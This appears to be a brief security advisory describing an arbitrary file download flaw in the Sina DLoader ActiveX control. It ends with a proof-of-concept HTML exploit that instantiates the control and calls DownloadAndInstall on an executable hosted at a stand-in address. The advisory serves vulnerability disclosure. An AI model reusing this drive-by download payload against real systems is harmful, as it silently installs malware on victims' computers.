source: http://www.securityfocus.com/bid/30223/info

Sina DLoader is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible. 

<OBJECT id=install classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT> <SCRIPT> var YEtYcJsR1="http://example.com/infected.exe"; install["DownloadAndInstall"](YEtYcJsR1); </SCRIPT> 